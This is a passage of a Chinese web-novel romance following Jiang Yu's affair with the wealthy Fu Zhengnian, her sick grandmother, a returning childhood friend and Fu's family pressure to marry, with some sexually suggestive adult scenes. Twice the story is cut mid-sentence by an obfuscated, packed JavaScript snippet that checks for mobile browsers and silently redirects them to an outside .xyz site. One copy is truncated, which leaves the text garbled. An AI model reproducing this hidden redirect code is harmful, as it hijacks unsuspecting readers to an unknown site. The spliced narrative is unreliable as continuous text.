江余气不打一处来,去他酒柜里开了一瓶最贵的酒,坐在阳台上从顶层向下俯瞰。 这里是北京最繁华的地段,人流熙攘,车辆绵延不绝,在各种颜色的灯光点缀下,形成了一副绝美的画面。 这是江余见过最美丽的北京。 可她此时在这,却生出一种高处不胜寒的心境。 所以这便是为什么付政年身上总有一种孤寂的原因吗? 付政年出来后直接走到她对面坐下,眼神扫过桌上放着的酒,笑道:“你倒是会挑,这可是我放好久的,上次付岱他们过来我都没让开。” 江余眉毛轻挑,“舍不得了?” 付政年笑笑,也动手给自己倒了一杯,“一瓶酒而已,哪至于,你高兴就好。” 江余嘴角一抽,他口中的一瓶酒,可是抵得上二线城市的一套房了,她今天也是跟着奢侈了一把。 “今天我们就这样走了,会不会太不给陈和畅面子了?”江余想起这个问题来。 “怎么会,小时候他爸妈很忙,几乎没怎么管过他,所以后来他每年都要这样搞上一出,叫上许多人,只是为了不让自己孤零零的跨年,其实谁去不去他根本就不在意。” “那你每年都去给他捧场吗?” “差不多吧。” “但我感觉你并不喜欢那种场合。” 付政年抿了一口酒,轻轻勾唇,“哪有那么多喜不喜欢。” “虽然北京的跨年夜很热闹,但让我最难忘的是8岁跟我妈回老家的那一年,表哥表姐带着我一起去放烟花,玩了许多从来没玩过的游戏,那是我第一次觉得原来跨年那么有意思。” 江余说这话的时候眼中满是怀念和向往。 “那后来怎么没再去?” “我外婆去世了,舅舅他们去了其他地方做生意,就没这个机会了。” 看着江余一口把杯中的酒喝完,付政年笑着出声提醒,“你少喝些,这酒后劲挺足。” “我知道。”说着江余又倒了一杯,几杯下去,她现在脸红扑扑的。 付政年笑说:“所以你是来我这里买醉来了是吧。” 他刚说完这话,外面就响起一阵沸腾,一看时间竟已经凌晨了。 “付政年。” “怎么了?” 迎上他看过来的目光,江余咧嘴对他笑笑,轻声道:“新年快乐。” 付政年伸手捏住她的下巴,隔着桌子来亲她,“新年快乐。” 就在他要退开时,江余忽然勾住他的脖子,加深了这个吻。 她伸手时不小心碰到酒瓶,那瓶价值不菲的酒就这样掉落地上碎成一片,酒液还溅了些到两人的浴袍上。 纵使如此,也并没有让他们分开。 付政年睁着眼打量她,眼中一片清明。 江余却是紧闭双眼,叫人看不清她眸中情绪,只忘情地吻着他。 很快,她的另一只手顺着他的脖子往下滑,探入他的浴袍中。 之前明明有那么多次机会,付政年却始终没有进行到最后一步。 她知道,他在等她主动,等她主动去迎合他。 从前江余心中憋着一口气,暗中同他较劲,不愿意放下那可笑的自尊。 可今天的事提醒了她,付政年给她的太多,她如果什么都没有付出的话,根本没法坚守自己的底线和原则。 所以他一来,她就只能跟着走了。 本来就是各取所需,江余不想亏欠他太多,不说完全平等,但也不至于特别被动。 在这场游戏里,她认输了。 辗转来到卧室,两人身上的衣物早已不知所踪,江余想去关灯,双手都被付政年禁锢在头顶。 明明已经箭在弦上,可付政年偏强忍着不发,手指慢慢游离突进,没有放过 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想到这,付政年心中一阵淤堵,他的眸色彻底暗沉,再度低头去吻她,身体也随之往下压,没了隐忍,只余下无尽的欲—火。 在漫漫长夜中持续发泄。 那瞬间,江余苦笑了一下,看吧,这个男人有多恐怖,在这个时候都能保持理智,不会应承另一半的请求。 这一晚,江余觉得极为漫长,醒了又睡,睡了又醒,来来回回她也不记得多少次。 她只知道就在她每次即将抵达高塔之时,付政年就会将那最后一阶梯子撤掉,让她悬于高空迫切渴望登顶。 然后他便会在她的耳边说出那句话,“求我,我就给你。” 江余每次说的都是“请”,绝口不提“求”,最后往往都会换来更加漫长刑罚。 她发现付政年喜欢看她眼含春水,于起伏中落下,后来便一直配合他,希望能够早点结束。 这一晚,她放下了自尊,极力配合,唯独没有说出“求”这一字。 * 第二天,江余一直睡到下午两点才醒,她睁眼就瞧见付政年半靠在床头,点了根烟捏在手里,回复着手机消息。 他已经恢复平常那副矜贵散漫,完全看不到昨晚的疯狂。 她就这样看了他好一会儿,付政年才注意到她醒了,他放下手机来揉她的头,“醒了,快去洗漱,我叫人送餐过来。” 江余点点头,问道:“你什么时候醒的?” “刚醒。” 折腾了一晚,江余现在一点精神都没有,她洗漱完出来,直接大喇喇地靠躺在沙发上,等待延续她生命的救济粮到来。 付政年打趣道:“怎么感觉你才像是被吸了精气的那个。” 江余懒懒看他一眼,轻哼了声,话都不想和他说。 吃完饭后,江余打算再去补一觉,付政年也跟着进来了,她一脸警惕地看着他,“我真没力气了。” 付政年失笑道:“想什么呢,我也准备再睡会儿。” 江余这时候才看到他眼底的乌青,“我还以为付总不会累呢。” 付政年走过去抱着她一块躺下,说:“我是人,又不是神,赶紧睡吧。” 20. 20 两人就这样一直睡到晚上,才终于把昨晚上流失的精力补回来。 一整天没有出门,江余觉着闷得慌,晚上他们是出去吃的。 新年第一天,许多企业都还在放假,外面的人很多。 回来的路上,江余看到街边的一家店有卖绿植的,就拉着付政年进去逛了一圈,最后买了几盆多肉和仙人球,原因是好养活。 回去江余就把它们摆放到各种地方。 付政年的这套房子装修风格偏深色调,她之前就觉得压抑,如今里面添了些生机,看起来舒服多了。 付政年坐在沙发上看着江余把东西放在固定位置,不自觉勾起了唇角。 他不喜欢那些花里胡哨的东西,所以无论是房子装修还是摆放陈设,都十分简洁。 他之前没有带人回来过,里的东西并不多,如今经她这一添置,看起来多了几分人气,也没那么冷清了。 他想,如果这房子里多个人,可能也还不错。 付政年把手中的烟掐灭,走过去从后面把江余圈怀里,下巴在她头顶蹭了蹭,“余余,你搬过来和我一起住吧。” 江余闻言神色未改,轻声道:“这离我公司太远了,交通也不方便。” “我给你买辆车。” “只要一想到我爸妈出车祸的事,我就害怕,根本开不了。” 她之前也想着买辆车的,都已经预约了人去看,结果一上车脑子里就总是出现那些乱七八糟的画面,就放弃了。 “那我给你配个司机。” 付政年不知道是没有听出她言语中的拒绝还是怎么的,今天的他似乎格外执着。 江余笑着从他怀里钻出来,往浴室跑,“再说吧,我先去洗澡。” 付政年看着她落荒而逃的背影轻笑了声,抬脚跟上,在她关门之前挤了进去。 还说什么出去玩,结果两人直接在家里不分昼夜的待了两天,连门都没怎么出。 期间江余接到白恬的电话,让她看一下最新季度的方案规划,她拿付政年的电脑打开,改的时候他提点了她好几个问题。 他说的话一针见血,江余才彻底信了他的文凭是真凭自己本事拿到的。 后来,她遇到不懂的都会去问他,付政年只要看到消息,都会很耐心的给她讲解。 这天江余从疗养院出来就接到了罗欣瑜的电话。 电话那头她的情绪十分激动,“余余,之前你带着我结交了罗哥,后来他给我介绍了一个活,这次演出十分成功,有不少的团队都想让我加入他们。” 罗哥就是之前付政年找的那个工作室的负责人。 江余听到这个消息也是由衷的替她感到高兴,“恭喜你啊,离梦想又近了一步。” “谢谢你余余,如果不是因为你,我怎么可能会有这个机会。” “能抓得住的才叫机会,而且我们之间不用说这些。” “好,放心,我不会让你失望的。” 江余笑道:“嗯,我相信你。” * 江余本以为上次付政年说让她去同他一块住的事翻篇了,谁料这天下班后他来接她,竟直接把她带到距离利丰不远处的一套房中,“你不是觉得我那远吗,那以后我们就住这。” 江余头望向他,刚想开口就被他打断,“房子在你名下,以后你要是不开心了,给我扫地出门就行。” 原来他都知道,她不愿意搬过去最重要的原因是不想寄人篱下。 他们这样的关系,随时都可能结束,她不想到时候分开还得灰溜溜的收拾行李从那里滚出来。 付政年没跟她商量,把一切都安排好了,哪容得她拒绝。 江余无奈只得应下,说她这两天去退房把行李搬过来。 之前的房子,也还在加紧赶工,争取在年前全部落实。 江余以为她搬过去之后是跟付政年同吃同住,但实际上两人都很忙,他过来的时间并不多,一周也就那么三四天。 江余在跟宫白卉吃饭的时候还自嘲过,她就像古代皇帝后宫的妃子,之前是他传唤她过去,现在是在家中等待他的临幸。 当然付政年只要过来,都会接送她上下班。 江余怕被人看到,一直都是小心翼翼的,每次都让他在距离公司几百米的地方停下,付政年还因此发表过自己的不满,问江余他有那么见不得人吗? 她每次都装聋作哑的应付过去,当然付政年最后也都会在其他地方发泄出来。 可常在河边走哪有不湿鞋,这天江余刚从付政年车上下来,就遇到了开车从旁边经过的宁宏。 江余以为到公司后宁宏多少都会问一问,可宁宏却当什么事都没有发生过,只字未提。 这一刻江余才知道,原来她和付政年的事在圈里早已不是秘密,宁宏不问,就是知道她定是不想说的。 江余苦笑一声,也没怎么把这件事放在心上。 下班后,她跟装修公司做了最后的对接,那套房子只差一点就可以交房检验了,她心里的一块石头也落了地。 付政年今晚有事,提前给她打了电话说不回来了。 难得有自己的空闲时间,江余抱着平板躺沙发上追起剧来,她正看的津津有味时,手机不合时宜的响了。 是陌生来电。 接通后还不等江余问他是谁,那边就先出声了,“江妹妹,还记得我吗?” 听到这声音和语调,不用想就知道是谁,江余笑说:“哪里会不记得,你怎么突然给我打电话了?” 她跟付政年的圈子里的人都不是很熟,实在是想不到陈和畅为什么会主动联系她。 “你现在有空吗,” “啊?” “出来我给你介绍个人。” “……” * 半小时后,江余穿戴整齐下楼,打车去往陈和畅说的地方。 陈和畅这次难得选了个正经的茶楼,江余进去时,他一改平日浪荡子的形象,有模有样的和两个看起来40岁左右的男人聊天。 到底是大家族培养出来的人,平时可以顽劣不羁,但不能真什么都不会。 看到江余进来,陈和畅站起来为他们引荐,“这两位是钱总和王总,他们在互联网领域都有一定的地位。” 江余对着二人勾唇,伸出手与他们交握,介绍起自己来。 无论是不是看在陈和畅的面子上,江余今天跟这二位聊的都是比较好的,虽然没有立即敲定合作,但后面都加了微信,后续再跟进应该没有多大 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房子在年前10天才彻底改装好,江余去验收了一遍,最终呈现出来的效果跟之前他们住的相差不大。 她把窗户打开,透了几天的气,味道散的差不多了她才去疗养院把奶奶接回去。 奶奶的情况一天比一天差,走的时候她的责任医师还再三耳提命面,说老人家年纪大了,容易引起并发症,过完年还是尽量早些回疗养院。 回去的路上,江余提前给奶奶打预防针,“奶奶,前段时间我把家里翻新了一遍,你回去可能会有些变化。” 老太太快半年没有回过家了,她现在整个人都十分喜悦,哪里会在意翻没翻新,说你决定就好,怎么舒服怎么来。 公司现在放假了,江余就安心的待在家里陪奶奶,第二天祖孙两人出去采购了些年货,几番装饰下家里也有了年味。 晚上江余陪着奶奶在家里看一部家庭狗血剧,结果这时候付政年突然打了个电话来,她吓得一激灵,忙拿起手机往阳台走。 “你回家了?” 这段时间付政年忙的神龙见首不见尾,江余也接近快一个多星期没有看到他,她以为他至少要在年后才有时间来找她。 “对,昨天去疗养院把奶奶接回来了,在家里陪她,你过来了吗?” “嗯,她难得回来,你好好陪她吧。” 他的语气很淡,江余很敏锐的察觉到了他低沉的情绪。 她回头看向沙发上的老人,做出了抉择,轻声应道:“好,那你早点休息。” “嗯。” 挂完电话,江余若无其事的走回去在沙发上坐下。 老太太忽然看向她,“有人约你出去玩吗?” 江余否认道:“没有。” “少骗我,你快去吧,年轻人就要多出去走走,整天待在家里像什么样子。” 江余挽着老太太的胳膊,把头靠她肩上,“我哪儿都不去,就在家里陪你。” 老太太推搡了一下她的头,“我已经叫刘妈过来带我去找之前的老姐妹们打牌,好不容易回来一趟,你就别在这烦我了。” “……” 21. 21 刘妈来后,江余果真被奶奶赶出家,她哭笑不得,只好打车回了她和付政年住的地方。 在小区门口,她看到有卖小蛋糕的,就随手买了一个。 打开门进去,付政年正穿着浴袍站在落地窗前打电话,听到动静后立即回头,看到她时眼中明显闪过一丝错愕,他又交代了几句才挂断电话朝她走过去,“不是在家陪奶奶吗,怎么回来了?” 江余走过去把手里的蛋糕搁茶几上,手一摊,“她怕我跟她待在一起无聊,就把我赶出来了。” 付政年坐下把她揽怀里,没个正形,“那我还得好好感谢下奶奶,要不是她,今晚我还见不到你。” “难得您那么忙,还能抽空想到我。” 说完江余才发觉这话听起来很像是在埋怨。 当然付政年也是这样理解的,“那么大怨气啊,怪我,这段时间太忙没时间陪你。” 江余无语地看他一眼,“你吃晚饭了吗?” “还没。” 付政年给她打电话的时候差不多是饭点,本来是想过来陪她吃顿饭的。 江余指了指茶几上的蛋糕,“你先吃点垫垫,我给你叫餐。” 付政年看着茶几上那块包装精致的红丝绒蛋糕,笑了笑,问:“真是给我买的?” “......好吧,我是看那个小妹妹摆摊辛苦,又想着你可能没吃东西,就买了。” 付政年拿起来看了下,又十分嫌弃的放回去,“你自己留着吃吧。” “行吧,那我给你叫餐。” 说完她就准备去拿手机,结果手被付政年捉住,放在手心轻捏了下,“不急。” 江余回头,一脸疑惑的望向他。 付政年眼神从她唇上扫过,“这不是有现成的吗?” 随即低头吻了上去。 “......” 等结束时已经快11点了,江余看了眼时间就披上浴袍进了浴室,很快就洗完澡穿戴整齐的走出来。 付政年见她这幅装扮,不解地问:“你这是要去哪?” 江余边收东西边道:“奶奶在家里我不放心,给你点了餐,应该快到了,我先走了。” 付政年:“......” 到门口她突然又回了头,“对了,客厅的小蛋糕记得处理了。” 付政年笑了,有那么一瞬间,他觉得江余是来嫖他的,完事之后就拍拍屁股走人,外面的那块蛋糕,就是她的嫖资。 吃完饭,他准备回房间时又看到孤零零躺在茶几上的蛋糕,他鬼使神差的走过去,打开尝了一口。 口感竟出乎意料的好。 * 除夕这天,因为家里只有她们两人,江余也没准备太多东西,就随便做了几个菜,吃完饭后就窝在沙发上陪老太太看电视。 虽然冷清,但也温馨。 只是偶尔想到去年这时候一家子都还在一起,难免会有些难受。 付政年那边就不一样了,除了付玥去她老公家了,其他人全都回来了。 有付家老两口在,这顿年夜饭一开始吃的还比较和谐,但后来险些因为付兴平的一句话毁了。 付嘉良有个女儿叫付暮雨,今年五岁,只要有付政年在的地方,小家伙就特别黏他,付政年对她也格外的耐心。 彼时他正细心的给付暮雨挑着鱼刺,付兴平看到这一幕突然说,“你年纪也不小了,何家的闺女我瞧着挺好的,你们可以试着接触接触,合适的话就定下来,也省的你在外面乱搞,” 付政年把挑好的鱼肉夹了放到付暮雨碗里,平淡地问:“您是又看上了何家的什么?” “说的这是什么话,何家丫头知书达理,名校毕业,前年考进单位,比你外面的那些莺莺燕燕强了不知道多少倍。” 付政年笑了声,说:“何小姐那么优秀,但您儿子就是个混蛋,哪里配的上人家。” 付兴平每次跟付政年说话都会被他气的不轻,他刚想发作,付老爷子用筷子在碗上敲了几下,沉声道:“还能不能好好吃个饭了?” 老爷子叫付鸿习,早些年脾气也不大好,后面退下来之后开始修身养性,现在都很少会发火。 听着他不善的语气,付兴平只得把气咽回肚子。 付政年笑着给付鸿习夹了一块炖的很熟的肉,笑说:“您多吃点。” 付鸿习瞪他一眼,“还有你也是,一天天也没个正形。” 话虽如此,但明眼人都瞧出来他并未生气,反而语气里还有些宠溺。 “是我的不是,您别跟我一般见识。” 付鸿习还想再说话,沉华棠嗔他一眼,对付政年道:“你别理他们,他们平时端着那套做派太久了,全都带家里来了。” 被她这一说,付鸿习也没再多说什么。 付政年笑道:“知道了奶奶。” 有两个老人的缓和,这顿年夜饭还算平和的吃完了。 饭后,上牌桌的上牌桌,聊其他事情的聊其他事。 付鸿习把付政年叫到了茶室。 他是个十分爱茶的人,茶室里面储存着上百来种茶,他走到架子前挑了一罐拿下来,走到桌前坐下烧水,这才开口:“还在为之前的事怨你爸?” 付政年抽了口烟,笑说:“我哪敢啊?” “你就别在我面前装了,你从小在我跟前长大,你什么性子我还能不知道?”付鸿习说,“但在当年那种情况下,他做的确实是最好的选择,毕竟他身后还有整个付家。” “我能理解他选择明哲保身,但他为什么还要跟着踩上一脚,要不是这样,我妈又怎么会气急攻心,一尸两命死在了产房里。” 说起之前的事,付政年的脸色也不是很好看。 “无非就是他觉得,万家倒了,以后也给不了他什么助力,他那个时候回踩,既能得到一个大义灭亲的好名头,还能拿着投名状结交其他人。” 付鸿习叹了口气,这件事是横在他们父子之间的一个心结,他说再多也无济于事。 “就算你心里怨他,但他今天说的话也在理,付家走到今天,得罪的人不在少数,你在明面,处于风口浪尖上,很多人都会通过打压你来试图摧毁付家,商场上的事你大哥他们又不好直接插手,付岱也还年轻,你一个人独木难支,如果背后没人帮衬的话,这条路不好走。” “何家确实是个不错的选择,诗霜那丫头也懂事,你可以试着接触接触,早点定下来也不是什么坏事。” 付政年神情多了几分认真,他问:“爷爷,你是希望我像您和奶奶一样,人前恩爱人后疏离的装一辈子,还是和二叔二婶一样,活成一对怨偶。” 付政年虽然跟常跟付兴平顶嘴,但他对付鸿习和沉华棠却是极为尊重的,极少会说出如此犀利的言语。 “我听说你最近跟一个姑娘走的很近,还让付岱和陈家小子给她介绍合作方,你跟我说实话,你不愿意和诗霜接触,是因为那姑娘吗?” 付鸿习虽然现在总是一副慈祥和蔼的样子,可从他那个年代走过来的,又怎么会是个纸老虎呢。 轻描淡写的一句话,就足以让人心惊胆战。 他那双眼睛轻轻从他身上扫过,看的人无处遁形。 付政年心中无端一慌,他笑着说:“怎么会,给她介绍合作方,不过是为了感谢她帮沈爷爷谱的那首曲罢了。” “那就好,你是一个有分寸的,不用我过多提醒,你在外面怎么玩我都不管你,但你要牢牢记清楚一件事,你姓付。” 付家人的婚姻,哪有自主选择的权利。 付 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101206|179515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 政年垂下眸子,盯着炉中晃动的火焰出神,半晌后才说:“我知道。” * 从前江父还在的时候,年初几的这几天总是会有不少人上门拜年,之前江余去找过他们,他们都选择视而不见。 如今他们自然也是不好意思再来的,江余也乐的个清闲。 早上陪老太太出去逛了逛,晚些时分宁宏就过来了。 还有一个她完全意想不到的人。 宁宏的儿子, 宁彦。 因为两家长辈的缘故,江余和宁彦也是从小就认识,后来宁彦出国留学,本硕博连读,因为学业忙,他最近一次回来已经是三年前了。 三年不见,宁彦看起来比之前成熟了不少。 如今看到他,江余也是极高兴的,“宁彦哥,你什么时候回来的,怎么都没有跟我说一声。” “昨天刚到,想着来给你个惊喜。”宁彦温和地说。 江余笑了下,“你六月份就要毕业了,也只有半年不到的时间,怎么想着这时候回来?” 宁彦说:“前段时间听我爸说起伯父伯母还有念念的事,有点放心不下你,就想着回来看看你。” 宁宏听到这话,在一旁笑着补充,“他这次回来也没有跟我说,昨天突然出现给我都吓了一跳,今天一大早就催我赶紧过来。” 老太太听到这话也是笑的合不拢嘴,眼神不停往江余和宁彦身上来回打转。 又聊了一会儿,江余见时间差不多了,就站起身说:“你们先坐一会儿,我去做饭。” 宁彦也跟着站起来,“我来帮你。” 也不管江余如何拒绝,跟着她一块进了厨房。 虽然说是宁彦去帮她,但最后还是成了她给宁彦打下手。 “这段时间应该很难熬吧。” “还好,最难的时候都过去了,现在轻松很多了。” 宁彦看着她认真择菜的侧脸,说:“我刚听说这件事的时候就想回来的,但当时研究正在白热化阶段,实在脱不开身。” 江余笑说:“我知道,你当时不是还给我发过消息吗。” 宁彦看着她故作洒脱的模样,眼底情绪翻涌,最终也只化作了一声轻叹。 “以后一定会越来越好的。” 江余点点头,又问起他的事来,“你呢,毕业后是打算回国还是?” “肯定是回来啊。” “也好,宁叔年纪大了,你在身边他也稍微宽心些。” 两人就这样有一搭没一搭的聊着,虽然许久未见,但也未叫人觉得生疏。 把所有准备工作做好后,江余就被宁彦赶出了厨房,说其他的他来就行了。 他动作也是真的快,没多久一桌子菜就做好了。 老太太开玩笑说:“你好不容易回来一趟,还让你来动手,别以后都不敢来了。” 宁彦给她盛了碗汤,笑说:“奶奶这样说就是跟我见外了,小时候我不也经常来您这蹭饭吗,这些年在国外还一直很想念您的手艺,所以您可要快点好起来,等我回来后,天天来吃。” 老太太被他逗笑了,他说什么全都应下。 说到小时候,老太太就十分来劲,她看着江余说:“小时候你经常和宁彦在一起玩,你宁叔和你爸就开玩笑说,要给你们俩定个娃娃亲,结果你后面逢人就说你长大以后要嫁给宁彦哥。” 当众被揭短,江余有些脸热,她故作淡定的给老太太夹了块茄子,“那都是小时候不懂事胡言的,奶奶您怎么现在还拿来说。” 老太太好笑的看着她,又看看同样有些害羞的宁彦,继续说:“反正你们现在也都没有对象,不如相处试试,刚好两家人也知根知底,省了许多事。” 江余夹菜的手一顿,下意识看向宁宏。 22. 22 宁宏看起来也十分认同老太太这个提议,竟也开始附和起来,“我觉得老太太这提议不错。” 江余尴尬地笑笑,“奶奶,你就别在这别乱点鸳鸯谱了,我和宁彦哥一起长大,我们就跟亲兄妹一样。” 老太太还想说什么,江余再次堵她的嘴,“宁彦哥好不容易回来一趟,您就别说这些了。” 看出江余的抗拒,宁彦眼底划过一抹失落,跟着一块儿转移了话题。 老太太年纪大了睡得一般比较早,吃完饭他们没待多久就离开了,江余收拾完回房间处理了一点事才准备去洗澡。 结果她一出来就看到本该在房间睡觉的奶奶一个人坐在沙发上,很明显是在等她。 江余走到她旁边坐下,轻声道:“奶奶,您还没睡呢?” 老太太握住她的手,一字一句的地问:“余余,你还没有放下宋逸吗?” 她这次倒没有做任何铺垫,直接开门见山。 江余之前跟宋逸谈恋爱时付出了全部真心,也曾一度想过之后要和他结婚,所以他们俩的事并没有瞒着家里。 江父江母其实对于宋逸家里的情况不是很满意,怕女儿以后受苦。 可耐不住她喜欢,他们也就松口了。 江余笑着摇头,“怎么会呢奶奶,早就放下了。” “那你现在有没有喜欢的人?” 江余没有想到奶奶大晚上不睡觉专程在这等她就是为了跟她聊这事,她笑说:“我现在太忙了,没时间想这些。” 老太太不赞同道:“工作再忙,生活也不能耽误啊。” “奶奶,我现在还年轻呢,不急。” 老太太面上划过一抹愁容,叹了口气,说:“余余,我的病我心里有数,运气好还能再多活个一两年,运气不好随时有可能离开,我要是再一走啊,就只有你一个人了,奶奶实在放心不下你啊,我就想在离开之前,看到你身边有一个知冷暖的人陪着你,这样我就没什么遗憾了。” 话题忽然变得沉重,江余鼻子有些发酸,她强行扯出来一个笑,“奶奶,您胡说什么呢,您不会有事的。” 从老太太患尿毒症至今已经十多年了,一直都没有找到适配的肾,再加上她的血型特殊,其实手术的希望并不大,但她还是不忍心摧毁江余的念想,她继续着方才这个话题。 “宁彦这孩子是我从小看着长大的,他性子稳妥细心,是个会照顾人的,而且我看得出来他很喜欢你,你爸的这些朋友里,只有你宁叔对他是真心的,他也一直把你当亲闺女,你可以试着与宁彦相处看看。” “奶奶也不是叫你非要跟他在一起,就相处看看,合适的话更好,不合适也没关系。” 江余抿了抿唇,她并不是一个愚钝的人,所以早在初中就发现了宁彦对她的心思,她也开始和他保持距离。 不过那时候宁彦忙着高考,两人见面的次数不多。 后来她上高中,宁彦出国留学,她当时就觉得,以后不常见,他应该会慢慢的放下。 她高中三年宁彦很少来打扰她,就过年回来的时候两家人会见个面,平时消息也不怎么发。 上大学后江余遇到了宋逸,和宋逸在一起后,她跟宁彦的联系就更少了,他也三年没有再回来过。 江余是真只把宁彦当朋友,他们的关系也根本不可能再进一步,更何况现在还有个付政年。 她知道奶奶的担忧,也不想让她再为她操心,嘴上便应下了,“好,我都听您的,现在太晚了,您赶紧去休息吧。” 老太太脸上果然扬起笑意,“好,你也早点睡。” “知道啦。” 后面几天,在老太太期待的眼神下,江余答应跟宁彦出去玩了两回,兴致都不是很高。 她跟付政年每天都会在微信上聊几句,但一直没时间见面。 年后,许多企业都开始慢慢复工。 在上班前一天,江余陪着奶奶去做了透析,后又把她送回了疗养院,毕竟她现在的并发症很频繁,在疗养院会好上许多。 临走前江余跟她说,如果想回家就给她打电话,她过去接她。 江余也回了和付政年住的地方,爸妈留下来的那套房子刚装修完不久,暂时不适合住人。 付政年也在她回去的那天回来了,但也只能待一个晚上,第二天他就要出差。 许久没见面,付政年要的有些狠。 完事后江余精疲力竭的趴在他身上,完全不想动弹。 付政年半撑起身,一手抱着她,单手点了根烟,过了会儿他突然问:“有没有什么想要的,我回来的时候给你带。” 从前付政年送她礼物都是让助理去挑的,难得主动问她想要什么。 不过她倒没自作多情的以为自己在他心里有多重的分量。 她也没有故作扭捏的说不用,反而认真思索起来她需要什么。 过了半晌,她仰起头说:“我听说那边有个寺庙很灵验,你有时间的话帮我去求个平安符吧。” 付政年笑着去掐她脸,“我行程很赶,开完会马上要去其他地方,没时间去逛寺庙,换一个。” 江余有些无语,“那你还问我干什么。” “我这不是不知道我们余余还信佛嘛。” 江余没再说话了。 付政年当然知道她是因为担心奶奶的病情,便宽慰道:“肾源我一直让人留意着的,会没事的,别担心。” 这种话江余听太多也说太多,早就免疫了。 缓的差不多,她就爬起来去浴室清理身体。 付政年想到她方才突然低沉下去的情绪,拿起手机打了个电话,对方一接通他就问:“上次让你帮忙留意的肾源怎么样了?” “……” * 付政年出差的这段时间,江余也忙的焦头烂额,这天她好不容易把事情处理完下了个早班,结果还没到家就接到了宁彦的电话。 宁彦说他明天就要出国了,临走前想跟她吃顿饭。 江余只好折转。 宁彦带着她去了他们之前最喜欢的一家火锅店。 坐下后他就问江余:“还跟之前一样吗?” 江余点头,“嗯。” 他们的位置是在窗边,可以将外面的景象一览无余。 宁彦感慨道:“好几年没来,这个地方变很大,可这家火锅店还是记忆中的样子,一点变化都没有。” “老板换了。”江余说,“我之前跟白卉来过,听当时的店员说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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剩下的时间她加班加点把工作处理完,下班后直接去了她提前预定好的地方。 陈和畅也准时到了,如江余所想,他昨晚上不知道去哪鬼混,进来的时候都还是哈欠连连的。 他长相偏幼态,盯着两个浓重的黑眼圈,看起来有些滑稽。 江余把菜单递给他,笑问:“我是不是打扰到你休息了?” 陈和畅接过去,一边勾菜一边说:“哪能呢,不过就是连着熬了几个通宵,有些没精神。” “江妹妹找我是有什么事吗?” 上次的那两人虽然是陈和畅介绍的,但归根结底还是付政年请他帮的忙,欠人情也是付政年欠他的,江余也没必要特地请他吃顿饭。 她主动来找他,肯定是有其他的事。 江余也没有跟他兜圈子,笑说:“陈婷老师在音乐领域很有名气,我昨天看到你发的朋友圈,才知道她竟然是你姑姑。” 陈和畅笑着点头:“嗯,是我二姑,我跟她比跟我妈都还亲,你是想认识她吗?” 23. 23 他这话说的直白,江余也如实点头,“不知道你能不能帮忙牵个线?” “牵线倒没什么问题,不过你不是都没打算再搞音乐了吗,怎么会想着要认识她?” “我听说陈婷老师受邀去伦敦任教两年,作为特邀外聘教授,她可以带一名学生同去交流学习,我一个朋友也有这个想法,所以我就来麻烦你了。” “这样啊,”陈和畅了然点头,“我可以介绍你们认识,不过我姑姑这个人呢,她收学生从来只看重能力,所以她答不答应我不能保证。” “没事,你能牵这个线已经很好了。” “行,那我回去问问她什么时候有时间,到时候我再告诉你。” 江余感激道:“谢谢你。” 陈和畅虽然看着不着调,但办事效率很快,才第二天他就来了消息,说是陈婷这周四有时间,到时候可以见一面。 江余收到消息后第一时间就给罗欣瑜打了个电话,把这个好消息告诉她。 罗欣瑜听完后沉默了半晌才问:“余余,给我争取这个机会,你付出的代价大吗?” “不大。” 听到这话罗欣瑜才松了口气,欣然接受了她的好意。 毕竟正如江余所说,她都已经走到了这一步,与其自怨自艾,不如握紧这个机会让自己利益最大化。 而她所能做的,只有不断向前,才能不辜负江余为她所争取的机会。 陈婷收学生的标准确实很高,不过罗欣瑜的实力本身就毋庸置疑,再加上有陈和畅在一旁劝说,陈婷最后还是答应了收下罗欣瑜,并带着她一块去伦敦。 陈婷早早的就定好了周六的机票,时间太急,罗欣瑜都来不及回家一趟,只能抓紧时间在两天内把自己的工作交接完成。 出发的那天,江余送罗欣瑜到机场。 有了陈婷的关系,再去伦敦镀金两年,再回来时她的路就会好走许多。 江余欣慰的看着她,笑了笑,说:“真好,我们两人总算有一个可以实现梦想了。” 罗欣瑜原本忍了好久的眼泪再没忍住,她上前一步抱住江余,感谢的话说的太多了,临近分别发现许多话到嘴边却无从说起。 看时间差不多了,江余催促她赶紧进去。 罗欣瑜红着眼叮嘱道:“好好照顾自己,等我回来。” “嗯,我知道了,你快进去吧。” 罗欣瑜检票进去后江余并没有立即离开,她在机场门口站了许久,直到一道轰鸣声响起。 江余缓缓抬头,看着那架承载着希望与梦想的飞机平地而起直入三万里云霄,她缓缓勾起唇角。 现在的她,行事越来越具有商人风格,利益与得失永远是她首先考虑的问题。 唯独罗欣瑜,她愿意不计得失的为她争取,希望她永远怀揣梦想,赤城热烈。 * 陈和畅帮了江余那么大个忙,所以在他打电话叫她出去玩的时候,她二话不说就去了。 他们这个圈子里的人,换来换去也就这些,见了几次后江余也面熟了,因为付政年的关系,他们对她至少面上看起来还是比较尊重的。 在这里面,江余又遇到了简娆,短短数月,她身边的男人已经不是上次那位。 付岱也在,看到她进来就立即招呼她过去玩,江余也没扫兴,过去跟他们玩了几圈,最后实在是觉得无聊,就让其他人顶上,她自己则是去吧台点了杯酒坐着。 没过多久简娆也过来了,她在江余旁边坐下,说:“我以为你不会喜欢这种场合。” 江余笑说:“确实不喜欢,但没办法,刚请人帮了个忙,不好不来。” “是陈公子姑姑的事吗?” 江余点头。 